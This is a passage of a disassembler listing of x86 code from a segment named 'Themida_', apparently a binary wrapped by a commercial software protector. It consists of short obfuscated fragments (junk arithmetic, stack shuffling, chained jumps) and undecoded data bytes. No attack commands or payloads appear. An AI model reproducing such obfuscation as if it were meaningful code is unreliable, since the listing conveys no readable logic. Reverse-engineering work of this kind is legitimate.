		jmp	loc_50EDA2
; ---------------------------------------------------------------------------
		dd 0D003E8C0h, 5B652E8h, 5AF028h, 16E958C1h, 680000B4h
		dd 430Dh, 0E9243489h, 0C768h, 0E3E9DFB7h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5072FB:				; CODE XREF: Themida_:00502A6Dj
		shr	edi, 4
		add	edi, 71C67073h
		sub	edx, 7ABD7246h
		jmp	loc_5014F6
; ---------------------------------------------------------------------------
		db 53h
		dd 89436CBBh, 13BDE911h, 53570000h, 4EC81h, 3CE90000h
		dd 100006Eh, 5D04246Ch,	0FF2434FFh, 515D2434h, 0C181E189h
		dd 4, 8704C183h, 0E95C240Ch, 0C6C4h
; ---------------------------------------------------------------------------

loc_507348:				; CODE XREF: Themida_:0050D288j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		jmp	loc_50015C
; ---------------------------------------------------------------------------
		dw 602Dh
		dd 5B785839h, 399DC381h, 0E9576D73h, 0FFFFF1D5h
; ---------------------------------------------------------------------------

loc_507370:				; CODE XREF: Themida_:0050C6A7j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_501CD3
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 499D71D8h, 0F7CEF81h, 0C7014530h, 39FEE9h, 54515E00h
		dd 7BAFE9h, 5DEB2900h, 45E9D901h
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5073A3:				; CODE XREF: Themida_:0050E68Dj
		pop	esp

loc_5073A4:				; CODE XREF: Themida_:loc_50A956j
		push	53A2h
		mov	[esp], ebx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_50EC63
; ---------------------------------------------------------------------------
		dw 15Bh
		dd 242C8BE8h, 0E904C483h, 0CA94h, 0E92434FFh, 8262h, 489068h
		dd 0AEF5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50740A:				; CODE XREF: Themida_:0050DA96j
		push	cx
		push	eax
		mov	al, 0Dh
		and	al, 70h
		add	al, 0AEh
		jmp	loc_503E3E
; ---------------------------------------------------------------------------
		dd 4C481h, 0E3810000h, 3E296130h, 4024F381h, 0D8891C28h
		dd 0F6E9815Bh, 130776Fh, 63E957C1h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50743B:				; CODE XREF: Themida_:0050C6D1j
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_502038
; ---------------------------------------------------------------------------
		dw 2B68h
		dd 0E9000064h, 0FFFFC043h, 0C104C483h, 26E906E1h, 51000042h
		dd 0EE197AB9h, 59CA0138h, 57243C8Bh, 0CDB1E954h, 148BFFFFh
		dd 5A545224h, 4C281h, 0C2E90000h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50747F:				; CODE XREF: Themida_:005147F5j
		mov	edx, 26CC4797h
		jmp	loc_513873
; ---------------------------------------------------------------------------

loc_507489:				; CODE XREF: Themida_:0051387Dj
		xchg	esi, edx
		xchg	ecx, esi
		inc	ecx
		xchg	ecx, esi
		xchg	esi, edx
		xor	edx, 14B557BFh
		xor	edx, 7348185Bh
		add	ebp, 1D90004h
		add	ebp, edx
		sub	ebp, 1D90004h
		pop	edx
		push	58AEh
		jmp	loc_50B9E4
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0A0E95200h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5074C3:				; CODE XREF: Themida_:00508914j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		push	esp
		jmp	loc_50D1FD
; ---------------------------------------------------------------------------

loc_5074E5:				; CODE XREF: Themida_:0050A3E2j
		shr	ecx, 7
		add	ecx, 5D885855h
		mov	edx, ecx
		pop	ecx
		sub	edx, 7A66501Ch
		xor	ecx, edx
		jmp	loc_5060CE
; ---------------------------------------------------------------------------
		dw 672Ch
		dd 6704D828h, 2EC81h, 89660000h, 0D7E92414h, 3Fh, 285866C2h
		dd 2BE1E9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50751E:				; CODE XREF: Themida_:0050C448j
		mov	[esp], ebp
		push	3A583EBEh
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_50E1E7
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F28102E2h, 81BCB740h, 8904EC83h, 0EC83240Ch, 0BCB2E904h
		dd 895C0000h, 0E9572404h, 0FFFFA31Bh
; ---------------------------------------------------------------------------

loc_507550:				; CODE XREF: Themida_:005082F9j
		push	ecx
		mov	ch, 3
		xor	ch, 21h
		or	ch, 7Fh
		add	ch, 0FCh
		sub	bl, ch
		jmp	loc_50B3F4
; ---------------------------------------------------------------------------

loc_507563:				; CODE XREF: Themida_:0050FB09j
		add	esp, 4
		jmp	loc_50A4F4
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 5C241487h, 83240401h, 2C8904ECh, 0F48AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507586:				; CODE XREF: Themida_:00504CFEj
		mov	esi, [esp]
		jmp	loc_5012F4
; ---------------------------------------------------------------------------
		dw 9ABBh
		dd 0C168F85Fh, 0F38107E3h, 6BE97742h, 0F7E3D14Bh, 2AF381DBh
		dd 0E9B028F2h, 0FFFFD04Ch
; ---------------------------------------------------------------------------

loc_5075AC:				; CODE XREF: Themida_:005126F8j
		mov	[esp], eax
		jmp	loc_50548E
; ---------------------------------------------------------------------------
		dd 7006BEBFh, 6E7C164h,	1366E781h, 0AE93150h, 8B0000D5h
		dd 5E9240Ch, 2D000072h,	4EB43DA6h, 733BBE56h, 6CE93CBCh
		dd 35000098h, 233B3AA8h, 0E958C389h, 0FFFFBB13h, 0E368F5B0h
		dd 89000061h, 0F1B5240Ch, 3059E828h, 0D73BE9C1h, 8B66FFFFh
		dd 0EC81240Ch, 4, 0E9241489h, 0FFFF8F7Eh
; ---------------------------------------------------------------------------

loc_507614:				; CODE XREF: Themida_:00500AEFj
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_513444
; ---------------------------------------------------------------------------

loc_50761E:				; CODE XREF: Themida_:00501AEBj
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_509735
; ---------------------------------------------------------------------------
		db 5Ah,	55h, 56h
		dd 1E28BFBEh, 9FBBE926h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507636:				; CODE XREF: Themida_:005014C9j
		xor	ecx, 30D9671Dh
		add	ebp, 4DD00D0Dh
		add	ebp, ecx
		push	ebx
		jmp	loc_50580B
; ---------------------------------------------------------------------------
		dw 1489h
		dd 8D27E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507652:				; CODE XREF: Themida_:00503476j
		mov	esi, 43BA519Ch
		add	[esp+8], esi
		pop	esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_50BB5F
; ---------------------------------------------------------------------------
		dd 85FFFDBDh, 76B6E900h, 81560000h, 28EF2404h, 0A3E92482h
		dd 310000A5h, 0C6815FFEh, 179F566Dh, 209DEE81h,	0CE816BDCh
		dd 78E21FBEh, 7FF5BF57h, 0FE31DE5Dh, 81243C8Bh,	4C4h, 8326E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5076AA:				; CODE XREF: Themida_:0050B393j
		shr	eax, 7
		push	ebx
		jmp	loc_51420E
; ---------------------------------------------------------------------------
		db 81h
		dd 0C47DA4C1h, 236D05FDh, 542D1B49h, 11CA169h, 97FAE9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5076CA:				; CODE XREF: Themida_:0050BB8Ej
		pop	ecx
		push	edi
		push	esi
		mov	esi, 4
		mov	edi, esi
		pop	esi
		push	ebp
		mov	ebp, 77560AEBh
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, edi
		push	eax
		mov	eax, 77560AEBh
		sub	esi, eax
		pop	eax
		jmp	loc_50E98D
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 0FF945EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_507709:				; CODE XREF: Themida_:0050B156j
		mov	ecx, 658A42B2h
		sub	ecx, 4308F0A3h
		mov	edx, ecx
		jmp	loc_513ACB
; ---------------------------------------------------------------------------

loc_50771B:				; CODE XREF: Themida_:00510094j
		pop	edx
		add	esp, 4
		sub	edi, 0EF31E7FCh
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	2E7Ah
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, 2CC038B6h
		push	ebx
		mov	ebx, 0C320079h
		inc	ebx
		jmp	loc_5140DD
; ---------------------------------------------------------------------------

loc_50774C:				; CODE XREF: Themida_:0050D6B5j
		inc	esi
		push	ebx
		jmp	loc_510EED
; ---------------------------------------------------------------------------

loc_507753:				; CODE XREF: Themida_:00504A76j
		add	edi, 4
		push	edx
		mov	edx, 5B475430h
		neg	edx
		shr	edx, 7
		xchg	eax, edx
		not	eax
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		push	ebp
		mov	ebp, 0FEB68EA4h
		jmp	loc_5032E3
; ---------------------------------------------------------------------------

loc_507778:				; CODE XREF: Themida_:005130CDj
		neg	ebp
		push	ecx
		mov	ecx, 699A3E2Eh
		xor	ebp, ecx
		pop	ecx
		xor	ebp, 55197450h
		add	eax, ebp
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_51254B
; ---------------------------------------------------------------------------

loc_5077A4:				; CODE XREF: Themida_:005143B6j
		pop	ecx
		not	ecx
		inc	ecx
		shr	ecx, 2
		push	esi
		mov	esi, 1667303Ch
		dec	esi
		xor	esi, 0FF56B43h
		xor	ecx, esi
		pop	esi
		mov	eax, ecx
		jmp	loc_500DED
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 7E80E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5077CE:				; CODE XREF: Themida_:0050EF43j
		pop	esp
		jmp	loc_50A430
; ---------------------------------------------------------------------------
		dd 6FE3E981h, 815E678Fh, 0DD28C6E9h, 0B0C581EFh, 1566C1Eh
		dd 45E8E9CDh, 565C0000h, 0EC83E689h, 24148904h,	4BAh, 5AD60100h
		dd 4902E9h
		db 0
; ---------------------------------------------------------------------------

loc_507805:				; CODE XREF: Themida_:0050E375j
		neg	ebp
		jmp	loc_5038C7
; ---------------------------------------------------------------------------

loc_50780C:				; CODE XREF: Themida_:0050D8F2j
		pop	dword ptr [esp]
		jmp	loc_5031E2
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 1C3304C4h, 1EDE924h, 0F2810000h, 25060C58h
		dd 68E2D142h, 0
		dd 5A241429h, 53B95142h, 29A5EFC2h, 2B7E9CAh, 0C890000h
		dd 1387B924h, 0B6E9C165h
		db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_50784F:				; CODE XREF: Themida_:005122C6j
		mov	ecx, esp
		jmp	loc_512470
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815B24h, 4, 7DBBE9h, 0E95D6600h, 9587h
; ---------------------------------------------------------------------------

loc_50786C:				; CODE XREF: Themida_:00506B1Aj
		sub	edi, 55CE0A26h
		jmp	loc_50D3A3
; ---------------------------------------------------------------------------

loc_507877:				; CODE XREF: Themida_:0050C9E0j
		mov	ecx, esi
		jmp	loc_513BD0
; ---------------------------------------------------------------------------

loc_50787E:				; CODE XREF: Themida_:005088A9j
		pop	esi
		push	edx
		jmp	loc_50E4B0
; ---------------------------------------------------------------------------

loc_507885:				; CODE XREF: Themida_:00509539j
		add	edx, ebp
		pop	ebp
		not	edx
		neg	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 16DF7454h
		push	ebp
		jmp	loc_504AB3
; ---------------------------------------------------------------------------
aZystt		db 'ZY钒',0
		dw 8000h
		dd 0DD2092F3h, 81241C8Bh, 4C4h,	2EDC000h, 0EE885266h, 0F588CEFEh
		dd 0FF8E65E9h, 0E9C501FFh, 0FFFFBF89h
; ---------------------------------------------------------------------------

loc_5078CC:				; CODE XREF: Themida_:005036D4j
		shr	ecx, 2
		sub	esp, 4
		jmp	loc_50237C
; ---------------------------------------------------------------------------
		dw 1CF6h
		dd 33E99C24h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5078E3:				; CODE XREF: Themida_:00505F43j
		add	esp, 4
		not	ebx
		shl	ebx, 8
		jmp	loc_505595
; ---------------------------------------------------------------------------
		db 21h
		dd 24048BC1h, 0E904C483h, 6465h, 88F2EE80h, 0CC885AF1h
		dd 0C0DCF659h, 0E4C007ECh, 4EC8102h, 89000000h,	0BAB3241Ch
		dd 0FFDC1BE9h, 8BC121FFh, 0C4812404h, 4, 10FCF181h, 0CB0128C2h
		dd 0FFEC60E9h, 0E9D3F7FFh, 97B1h, 0AC05D801h, 2D60C300h
		dd 5A970B9Fh, 0F868h, 240C8900h, 81218468h, 240C8B55h
		dd 6177E9h, 2434FF00h, 0E9240C8Bh, 0FFFFBDA2h, 59CFBF57h
		dd 0EF813FA6h, 798D2F1Eh, 241BE781h, 0E78108DDh, 726E3087h
		dd 63FCE781h, 0F7810025h, 3C5B2C02h, 0FFF325E9h, 8096B1FFh
		dd 0E18000E9h, 0F205E93Dh, 815FFFFFh, 344271EAh, 4917E908h
		dd 0C4810000h, 4, 8B2434FFh, 0C4832414h, 0CC3DE904h, 433FFFFh
		dd 24248B24h, 9C2424D2h, 0FF7E45E9h, 5AC181FFh,	0E9BB8FCDh
		dd 0FFFFD470h, 24148B59h, 0E9595451h, 3E33h, 0FFDA895Ch
		dd 835B2434h, 2D5F04C4h, 17B85417h, 96E1E9h, 35C96800h
		dd 4890000h, 1076824h, 0EFE90000h, 3100000Eh, 1C33241Ch
		dd 0EC815C24h, 4, 51241C89h, 623568h, 241C8900h, 6DF2E951h
		dd 0D0010000h, 10942D5Ah, 0D001700Dh, 0D109405h, 13FF2D70h
		dd 0A2E93E6Ah, 0ACFFFFB0h, 4F2CA204h, 6BE98C2Ch, 8300003Ch
		dd 0C8904ECh, 1E706824h, 1C890000h, 0C651E924h,	0E580FFFFh
		dd 0FEC5FE79h, 76B353C5h, 2C5BDD30h, 994DE970h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_507A7A:				; CODE XREF: Themida_:00510EE8j
		xor	edi, 2FE35133h
		add	edi, 9F6CBFA2h
		sub	ecx, edi
		pop	edi
		add	edi, 25D94D73h
		sub	edi, ecx
		push	edx
		mov	edx, 25D94D73h
		sub	edi, edx
		pop	edx
		mov	ecx, [esp]
		jmp	loc_50B03A
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 3F3E362Dh, 0DF39E973h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507AAE:				; CODE XREF: Themida_:0050F6E0j
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	4B98h
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		jmp	loc_50F9F6
; ---------------------------------------------------------------------------
		db 21h,	0F8h, 5Fh
		dd 41E3BE56h, 0EE814F35h, 665F02A4h, 0FF9C75E9h, 1D7BB9FFh
		dd 0E9C121CAh, 49D1F707h, 0FFDF7AE9h, 0D68959FFh, 8324148Bh
		dd 0C58104C4h, 36AA1274h, 0FFA559E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_507B0D:				; CODE XREF: Themida_:00510CA4j
		xor	edx, esi
		jmp	loc_51008E
; ---------------------------------------------------------------------------
		dd 51E2E681h, 0EE814802h, 0F5740043h, 6FE3C181h, 0A3E9678Fh
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_507B2B:				; CODE XREF: Themida_:00506784j
		sub	esi, 10807420h
		pop	eax
		push	eax
		mov	eax, 4
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_5069D7
; ---------------------------------------------------------------------------

loc_507B48:				; CODE XREF: Themida_:00508B76j
		add	ecx, 0D9D9F3F0h
		and	ebx, ecx
		pop	ecx
		shr	ebx, 3
		sub	ebx, 663A6007h
		sub	ebx, 60AD4921h
		jmp	loc_503D13
; ---------------------------------------------------------------------------
		db 0C0h, 0EEh, 2
		dd 0CD10E9h, 0FE015F00h, 2434335Fh, 33243431h, 5BE92434h
		dd 83FFFFA9h, 16E904C4h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_507B87:				; CODE XREF: Themida_:0050CEEAj
		mov	esi, 14AC5E1Ah
		jmp	loc_512B1D
; ---------------------------------------------------------------------------
aZsslm		db 'ZS髌',0
		align 4
		dd 1E9D001h, 28FFFFFDh,	59FD04C8h, 0A22C5966h, 1E7D68h
		dd 9FBFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507BB2:				; CODE XREF: Themida_:00505E9Dj
		shr	edi, 2
		or	edi, 0E470318h
		jmp	loc_50B608
; ---------------------------------------------------------------------------
		dd 4C481h, 1AE90000h, 8B000097h, 0C4832414h, 0C33DE904h
		dd 0E6C1FFFFh, 8E6C105h, 0CFF6814Eh, 8949E628h,	0DD295EF3h
		dd 35F9E9h
		db 0
; ---------------------------------------------------------------------------

loc_507BED:				; CODE XREF: Themida_:0050F086j
		mov	esi, 0AEA3C1B9h
		xor	esi, ebp
		mov	ebp, [esp]
		jmp	loc_50510B
; ---------------------------------------------------------------------------
		dd 24348758h, 2404895Ch, 1BEA68h, 24348900h, 0C234D3BEh
		dd 1A1D680Ch, 14890000h, 8D0AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_507C1E:				; CODE XREF: Themida_:00511346j
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1FB14C0Bh
		add	edi, 71525CF0h
		add	edi, 6EFC5709h
		add	edx, 61604E1Bh
		add	edx, edi
		sub	edx, 61604E1Bh
		pop	edi
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_5132B7
; ---------------------------------------------------------------------------

loc_507C56:				; CODE XREF: Themida_:00511D27j
		mov	[esp], edx
		jmp	loc_50C6C9
; ---------------------------------------------------------------------------
		dw 0E9ACh
		dd 0FFFFDF11h
; ---------------------------------------------------------------------------

loc_507C64:				; CODE XREF: Themida_:005044B1j
		pop	esi
		mov	edi, ecx
		mov	ecx, [esp]
		jmp	loc_511F51
; ---------------------------------------------------------------------------
		db 0BBh
		dd 6FDF1D72h, 0F381D3F7h, 8C818BD9h, 2D5BD801h,	1B49236Dh
		dd 4AA1E9h
		db 0
; ---------------------------------------------------------------------------

loc_507C89:				; CODE XREF: Themida_:0050EC5Ej
		mov	[esp], edx
		push	eax
		push	5F555867h
		pop	eax
		jmp	loc_51175A
; ---------------------------------------------------------------------------
		dd 6416BB66h, 66DD2966h, 0E801665Bh, 205F685Dh,	4890000h
		dd 53686624h, 14896607h, 98686624h, 835A6602h, 0BEE904ECh
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_507CC3:				; CODE XREF: Themida_:00510CCDj
		xor	ebp, 36B02D42h
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, 6DB7004h
		sub	eax, 970F002Ah
		and	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5050AD
; ---------------------------------------------------------------------------

loc_507CE6:				; CODE XREF: Themida_:00508354j
		sub	ebx, eax
		mov	eax, [esp]
		jmp	loc_502634
; ---------------------------------------------------------------------------
		dd 0E5668A2Dh, 6FF1E935h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_507CFA:				; CODE XREF: Themida_:005055A6j
		pop	esi
		push	esi
		push	eax
		mov	eax, 3C6E67A5h
		mov	esi, eax
		pop	eax
		or	esi, 33703A72h
		not	esi
		jmp	loc_50ADD4
; ---------------------------------------------------------------------------

loc_507D12:				; CODE XREF: Themida_:0050C9C6j
		xor	edi, ebx
		push	ebx
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		jmp	loc_503CBC
; ---------------------------------------------------------------------------
		dw 0D901h
aBsq12sad	db '[Q1',27h,'2d',0
		align 10h

loc_507D30:				; CODE XREF: Themida_:00506DFDj
		mov	al, bl
		pop	ebx
		mov	dh, al
		jmp	loc_507DD9
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 1000000h, 75E95BD9h,	88FFFFD9h, 0E9585BFEh, 247Bh
; ---------------------------------------------------------------------------

loc_507D50:				; CODE XREF: Themida_:0051252Dj
		shr	esi, 1
		shr	esi, 5
		sub	esi, 0EBA12Ch
		jmp	loc_50378F
; ---------------------------------------------------------------------------

loc_507D60:				; CODE XREF: Themida_:00507253j
		mov	ebp, 0C03ED2DFh
		add	esi, ebp
		pop	ebp
		jmp	loc_502CC9
; ---------------------------------------------------------------------------
		db 89h,	0F0h, 5Eh
		dd 1C2D39BBh, 58C3311Ch, 2027E9h, 59CF0100h, 197AEA81h
		dd 0FA0138EEh, 0FFF6CEE9h, 0F6664FFh, 686602B6h, 89663A08h
		dd 77E92404h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507D9F:				; CODE XREF: Themida_:00507F55j
		and	eax, 6BEC3499h
		inc	eax
		and	eax, 6041AA9h
		or	eax, 520A0DE2h
		sub	eax, 520A1DDFh
		add	ecx, eax
		jmp	loc_5100D5
; ---------------------------------------------------------------------------
		db 89h
		dd 51562424h, 4B9h, 59CE8900h, 4247401h, 6D1AE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_507DD2:				; CODE XREF: Themida_:00510B4Ej
		push	eax
		pushf
		jmp	loc_4FF816
; ---------------------------------------------------------------------------

loc_507DD9:				; CODE XREF: Themida_:00507D35j
		pop	eax
		mov	ecx, [esp]
		jmp	loc_50FFB5
; ---------------------------------------------------------------------------

loc_507DE2:				; CODE XREF: Themida_:005143C9j
		mov	esi, esp
		push	ecx
		jmp	loc_503A9F
; ---------------------------------------------------------------------------

loc_507DEA:				; CODE XREF: Themida_:00504A4Fj
		push	edx
		mov	edx, esp
		jmp	loc_507134
; ---------------------------------------------------------------------------

loc_507DF2:				; CODE XREF: Themida_:005028DBj
		mov	[esp], edx
		push	ebx
		mov	ebx, 4C7E3B8Dh
		mov	edx, 4C7E3BA9h
		xor	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	edx, edi
		mov	dword ptr [edx], 4FCB2B68h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5142F7
; ---------------------------------------------------------------------------

loc_507E28:				; CODE XREF: Themida_:00502D26j
		push	edi
		jmp	loc_5119A7
; ---------------------------------------------------------------------------
		dw 0CB81h
		dd 7C61757Eh, 0FF8F49E9h, 1FC4BFFFh, 0E94F2568h, 0FFFFCE4Dh
; ---------------------------------------------------------------------------

loc_507E44:				; CODE XREF: Themida_:0050B75Aj
		mov	ebx, [esp]
		jmp	loc_50C97D
; ---------------------------------------------------------------------------
		dd 0FB42F5B8h, 6B66E978h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_507E56:				; CODE XREF: Themida_:00508806j
		shr	edx, 7
		add	edx, 73B81E61h
		xor	edx, 30935567h
		shl	edx, 6
		xor	edx, 28ABC684h
		sub	edi, 31DE2B24h
		add	edi, edx
		add	edi, 31DE2B24h
		pop	edx
		jmp	loc_50A476
; ---------------------------------------------------------------------------
		dw 5B66h
		dd 243C8B66h, 2C481h, 81660000h, 0FB022444h, 6C816672h
		dd 51B40224h, 24440166h, 67ECE902h, 0C4810000h,	4, 836BAA05h
		dd 3A41057Eh, 0FDE95038h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507EBB:				; CODE XREF: Themida_:0050B7DDj
		push	eax
		jmp	loc_50B5DE
; ---------------------------------------------------------------------------

loc_507EC1:				; CODE XREF: Themida_:0051196Aj
		mov	ebx, 1B9149C7h
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 274015DFh
		push	ebp
		mov	ebp, 6AC571AEh
		jmp	loc_502B4C
; ---------------------------------------------------------------------------

loc_507EDF:				; CODE XREF: Themida_:0050ADEBj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_502657
; ---------------------------------------------------------------------------
		dw 0E181h
		dd 3EF239Ch, 200CF181h,	0C8010220h, 2367E959h, 0C890000h
		dd 35C16824h, 4890000h,	26824h,	17E90000h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507F17:				; CODE XREF: Themida_:00503378j
		push	edi
		push	eax
		mov	eax, 6AF84236h
		xor	eax, 586530D7h
		xor	eax, 40113844h
		xor	eax, 47D62D24h
		mov	edi, eax
		pop	eax
		add	ebx, 25CB3A40h
		add	ebx, edi
		sub	ebx, 25CB3A40h
		pop	edi
		jmp	loc_501843
; ---------------------------------------------------------------------------

loc_507F44:				; CODE XREF: Themida_:0050F12Ej
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 64AB3632h
		jmp	loc_507D9F
; ---------------------------------------------------------------------------

loc_507F5A:				; CODE XREF: Themida_:005043ABj
		sub	dl, 0
		mov	bh, dl
		jmp	loc_50E394
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 4105866h,	0A3E99C24h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507F73:				; CODE XREF: Themida_:00513366j
		not	ebx
		add	ebx, 0EB3502Dh
		add	ebx, 0EC8ACCD1h
		add	esi, ebx
		pop	ebx
		add	eax, esi
		pop	esi
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_509ACC
; ---------------------------------------------------------------------------

loc_507F94:				; CODE XREF: Themida_:0050E103j
		sub	ebp, ecx
		sub	ebp, 442A3720h
		jmp	loc_50D35F
; ---------------------------------------------------------------------------

loc_507FA1:				; CODE XREF: Themida_:00511C5Aj
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 8B66C361h, 468240Ch,	8900004Eh, 0E389241Ch, 2FC8E9h
		db 0
; ---------------------------------------------------------------------------

loc_507FB9:				; CODE XREF: Themida_:005064FDj
		mov	esp, [esp]
		push	ecx
		push	433B6C6Ch
		pop	ecx
		add	ecx, 436B0318h
		shr	ecx, 1
		shr	ecx, 8
		jmp	loc_50A665
; ---------------------------------------------------------------------------

loc_507FD3:				; CODE XREF: Themida_:0050EBBAj
		pop	esi
		sub	dword ptr [esp+4], 5C97176Bh
		add	dword ptr [esp+4], 221A4348h
		sub	dword ptr [esp+4], 4D125ECAh
		jmp	loc_501E6B
; ---------------------------------------------------------------------------

loc_507FF1:				; CODE XREF: Themida_:00512E33j
		shr	ebp, 2
		jmp	loc_50EC46
; ---------------------------------------------------------------------------

loc_507FF9:				; CODE XREF: Themida_:005102AAj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5043B6
; ---------------------------------------------------------------------------

loc_508005:				; CODE XREF: Themida_:0050F6AEj
		push	ebx
		jmp	loc_508931
; ---------------------------------------------------------------------------

loc_50800B:				; CODE XREF: Themida_:005011F3j
		mov	esi, 4
		add	ecx, 20E862FBh
		add	ecx, esi
		sub	ecx, 20E862FBh
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_50A0B6
; ---------------------------------------------------------------------------

loc_508028:				; CODE XREF: Themida_:00511C15j
		push	ecx
		jmp	loc_513E37
; ---------------------------------------------------------------------------
aS_q		db '[.',0
		align 4
		dd 42474FFh, 0C5BBE95Ah, 34FF0000h, 6B07E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_508046:				; CODE XREF: Themida_:0050892Cj
		xor	ebx, ecx
		pop	ecx
		add	ebp, 15134372h
		push	esi
		mov	esi, 39E368B6h
		add	ebp, esi
		pop	esi
		add	ebp, 309571BDh
		add	ebp, ebx
		sub	ebp, 309571BDh
		sub	ebp, 39E368B6h
		push	ecx
		mov	ecx, 120266DAh
		add	ecx, 582746E5h
		xor	ecx, 78B677D9h
		sub	ecx, 53E375A4h
		add	ecx, 4DAA7CF0h
		sub	ecx, 0F7539E40h
		sub	ebp, ecx
		pop	ecx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_511E5A
; ---------------------------------------------------------------------------
		dd 82E9D6F7h, 8100001Dh, 4B0A8FC2h, 0B8505D7Fh,	2, 48BC201h
		dd 0B25EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5080BE:				; CODE XREF: Themida_:0050A0B9j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_51466E
; ---------------------------------------------------------------------------

loc_5080CF:				; CODE XREF: Themida_:00508AEEj
		push	esp
		pop	ebp
		jmp	loc_50D47B
; ---------------------------------------------------------------------------

loc_5080D6:				; CODE XREF: Themida_:0050A56Cj
		pop	ebp
